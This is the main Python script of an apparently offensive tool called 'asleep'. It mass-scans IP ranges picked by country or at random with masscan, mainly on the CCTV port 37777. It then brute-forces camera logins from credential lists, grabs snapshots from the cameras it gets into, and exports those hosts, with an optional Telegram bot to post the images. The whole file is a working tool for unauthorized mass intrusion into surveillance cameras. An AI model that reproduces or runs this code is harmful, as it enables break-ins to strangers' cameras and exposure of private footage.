-
Notifications
You must be signed in to change notification settings - Fork 42
/
Copy pathasleep.py
293 lines (251 loc) · 11.1 KB
/
asleep.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
#!/usr/bin/env python3
# -*- coding:utf-8 -*-
import argparse
import os
import platform
import random
import subprocess
import sys
import time
from pathlib import Path
from queue import Queue
from colorama import init
from countrycode import countrycode
from pyfiglet import Figlet
import config
import export
import utils
from bot import Poster
from brute import BruteThread
from geolocation import IPDenyGeolocationToIP
from snapshot import ScreenshotThread
# TODO: make bruteforce core function
# TODO: rewrite with importlib, python-netsurv, git://dhondta/sploitkit
def process_cameras():
brute_file = config.tmp_masscan_file
hosts = utils.masscan_parse(brute_file)
ip_count = len(hosts)
config.logging.info(f"Parsed {ip_count} IPs from Masscan output")
if not hosts:
return False
if ip_count < config.default_brute_threads:
config.default_brute_threads = ip_count
config.default_snap_threads = max(1, ip_count - 20)
ips_list_file = config.ips_file % config.start_datetime
full_ips_list = Path(config.reports_folder) / ips_list_file
with open(full_ips_list, 'w') as file:
for host in hosts:
file.write(host[0] + ":" + host[1] + "\n")
config.logging.info(f'IPs saved to {full_ips_list}')
config.total = len(hosts)
try:
brute_queue = Queue()
screenshot_queue = Queue()
for _ in range(config.default_brute_threads):
brute_worker = BruteThread(brute_queue, screenshot_queue)
brute_worker.daemon = True
brute_worker.start()
for _ in range(config.default_snap_threads):
screenshot_worker = ScreenshotThread(screenshot_queue)
screenshot_worker.daemon = True
screenshot_worker.start()
config.logging.info(f'Starting to brute total {len(hosts)} devices\n')
for host in hosts:
brute_queue.put(host)
brute_queue.join()
screenshot_queue.join()
# raise exception here
print('\n')
except Exception as e:
config.logging.error(e)
config.logging.info("Brute process interrupt!")
config.logging.debug(config.working_hosts)
config.logging.info(f'Results: {len(hosts)} devices found, {len(config.working_hosts)} bruted')
config.logging.info(f'Made total {config.snapshots_counts} snapshots')
def masscan(filescan, threads, resume):
config.logging.info(f'Starting scan with masscan on ports {", ".join(config.global_ports)}')
if resume:
config.logging.info('Continue last scan from paused.conf')
params = ' --resume paused.conf {config.additional_masscan_params()}'
else:
params = ' -p %s -iL %s -oL %s --rate=%s %s' % (
",".join(config.global_ports), filescan, config.tmp_masscan_file, threads, config.additional_masscan_params())
params += ' --http-user-agent="Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0"'
if platform.system() == 'Windows':
mmasscan_path = config.masscan_windows_path
binary = mmasscan_path
else:
mmasscan_path = config.masscan_nix_path
binary = f'sudo {mmasscan_path}'
try:
if platform.system() == 'Windows':
subprocess.Popen(
[mmasscan_path, '-V'],
bufsize=10000,
stdout=subprocess.PIPE)
else:
subprocess.Popen(
[mmasscan_path, '-V'],
bufsize=10000,
stdout=subprocess.PIPE,
close_fds=True)
except OSError:
config.logging.error(
'Please install Masscan or define full path to binary in .config file.')
sys.exit(0)
os.system(binary + params)
if not Path(config.tmp_masscan_file).exists():
config.logging.error('Masscan output error, results file %s not found. Try to run Masscan as Administrator (root)' %
config.tmp_masscan_file)
sys.exit(0)
def get_args():
parser = argparse.ArgumentParser()
parser.add_argument('-s', dest='scan_file',
help='file with IP ranges to scan, e.g. 192.168.1.1-192.168.11.1')
parser.add_argument('-p', dest='ports',
help='ports to scan (default: 37777), e.g. 37777,37778')
parser.add_argument('-b', dest='brute_file',
help='file with IPs to brute, in any format')
parser.add_argument('-l', dest='use_custom_credentials', action='store_true', default=False,
help=f'brute combinations from {config.logins_file} and {config.passwords_file} instead of {config.logopass_file}')
parser.add_argument('-m', '--masscan', dest='brute_only', action="store_false", default=True,
help='run Masscan and brute the results')
parser.add_argument('-t', dest='threads', default=str(config.default_masscan_threads),
help=f'number of thread for Masscan (default: %(default)s)')
parser.add_argument('--masscan-resume', dest='masscan_resume', action="store_true", default=False,
help='continue paused Masscan')
parser.add_argument('--no-snapshots', dest='snapshots_enabled', action="store_false", default=True,
help='don\'t make snapshots')
parser.add_argument('--no-xml', dest='no_xml', action="store_true", default=False,
help='don\'t make SMART PSS .xml files')
parser.add_argument('--dead', dest='dead_cams', action='store_true', default=False,
help='write not bruted cams to dead_cams.txt file')
parser.add_argument('--country', dest='country',
action='store_true', default=False, help='scan by country')
parser.add_argument('--random-country', dest='random_country', action='store_true', default=False,
help='scan by random country')
parser.add_argument('-d', '--debug', dest='debug',
action='store_true', default=False, help='debug output')
if len(sys.argv) < 2:
parser.print_help()
sys.exit()
args = parser.parse_args()
country = ''
city = ''
count = 0
config.snapshots_enabled = args.snapshots_enabled
if args.ports:
print('It`s better to run with "-d" flag while setting custom ports!')
print('That`s why this forced c;\n')
args.debug = True
config.global_ports = args.ports.split(',')
if args.masscan_resume:
args.brute_only = False
if args.random_country:
args.brute_only = False
count = 600000
total_count = 0
total_range = []
while config.max_ips < count:
country = random.choice(countrycode.data['country_name'])
for stored_c in list(dict.fromkeys(config.random_countries)):
if country is stored_c:
continue
locator = IPDenyGeolocationToIP(country, city)
try:
range_list = locator.get_random_ranges(max_ips=int(count), day_ranges=True)
except Exception as e:
config.logging.debug(e)
continue
total_range += range_list
slash = ['|', '/', ' ', '-']
print(f'Searching for a bright-day ip-ranges {random.choice(slash)}', end='\r')
time.sleep(2) # spell from ban
for cidr in range_list:
count2 = IPDenyGeolocationToIP.get_cidr_count(cidr)
total_count += count2
config.max_ips = total_count
else:
config.logging.info('Generated %s IPs from %s' % (total_count, list(dict.fromkeys(config.random_countries))))
config.global_country = random.choice(config.random_countries)
file = open(config.tmp_masscan_file, 'w')
file.write("\n".join(total_range))
file.close()
args.scan_file = config.tmp_masscan_file
if args.country:
args.brute_only = False
country = input('Enter country name (defaut random): ')
if not country:
country = random.choice(countrycode.data['country_name'])
print('Selected %s' % country)
config.global_country = country
city = input('Enter city name (default none): ')
count = input('Maximum IPs (default 1000000): ') or 1000000
locator = IPDenyGeolocationToIP(country, city)
range_list = locator.get_random_ranges(max_ips=int(count))
total_count = 0
for cidr in range_list:
count3 = IPDenyGeolocationToIP.get_cidr_count(cidr)
total_count += count3
config.logging.info('Generated %s IPs from %s' % (total_count, config.global_country))
file = open(config.tmp_masscan_file, 'w')
file.write("\n".join(range_list))
file.close()
args.scan_file = config.tmp_masscan_file
if not args.brute_file:
args.brute_file = config.tmp_masscan_file
else:
config.custom_brute_file = True
config.tmp_masscan_file = args.brute_file
if not Path(args.brute_file).exists() and args.brute_only:
config.logging.error('File with IPs %s not found. Specify it with -b option or run without brute-only option'
% config.tmp_masscan_file)
sys.exit(0)
if not args.scan_file and not args.brute_only and not args.masscan_resume:
config.logging.error("No target file scan list")
parser.print_help()
sys.exit(0)
return args
def main():
init()
print(Figlet(font='slant').renderText('asleep'))
print('https://t.me/asleep_cg\n')
args = get_args()
if args.debug:
config.logging.getLogger().setLevel(config.logging.DEBUG)
else:
config.logging.getLogger().propagate = False
utils.setup_credentials(args.use_custom_credentials)
utils.prepare_folders_and_files()
if not args.brute_only:
masscan(args.scan_file, args.threads, args.masscan_resume)
process_cameras()
if not args.no_xml and len(config.working_hosts) > 0:
export.save_xml(config.working_hosts)
export.save_csv()
if args.dead_cams:
hosts = utils.masscan_parse(config.tmp_masscan_file)
export.dead_cams(hosts)
# Configs for Telegram Bot:
ROOM_ID = '' # Channel ID
TOKEN = '' # Bot Token
SNAPSHOT_DIR = Path.cwd() / config.snapshots_folder
""" delete=True removes snapshots after posting """
#poster = Poster(SNAPSHOT_DIR, TOKEN, ROOM_ID, delete=False)
#poster.start() ### Start posting function
if Path(config.snapshots_folder).exists():
c_error = False
if config.global_country:
try:
Path(config.snapshots_folder).rename(f'{config.global_country}_{config.start_datetime}')
except:
c_error = True
elif not config.global_country or c_error:
Path(config.snapshots_folder).rename(f'Snapshots_{config.start_datetime}')
if __name__ == '__main__':
try:
main()
except KeyboardInterrupt:
print('\n')
config.logging.info('Interrupted by user')
sys.exit(0)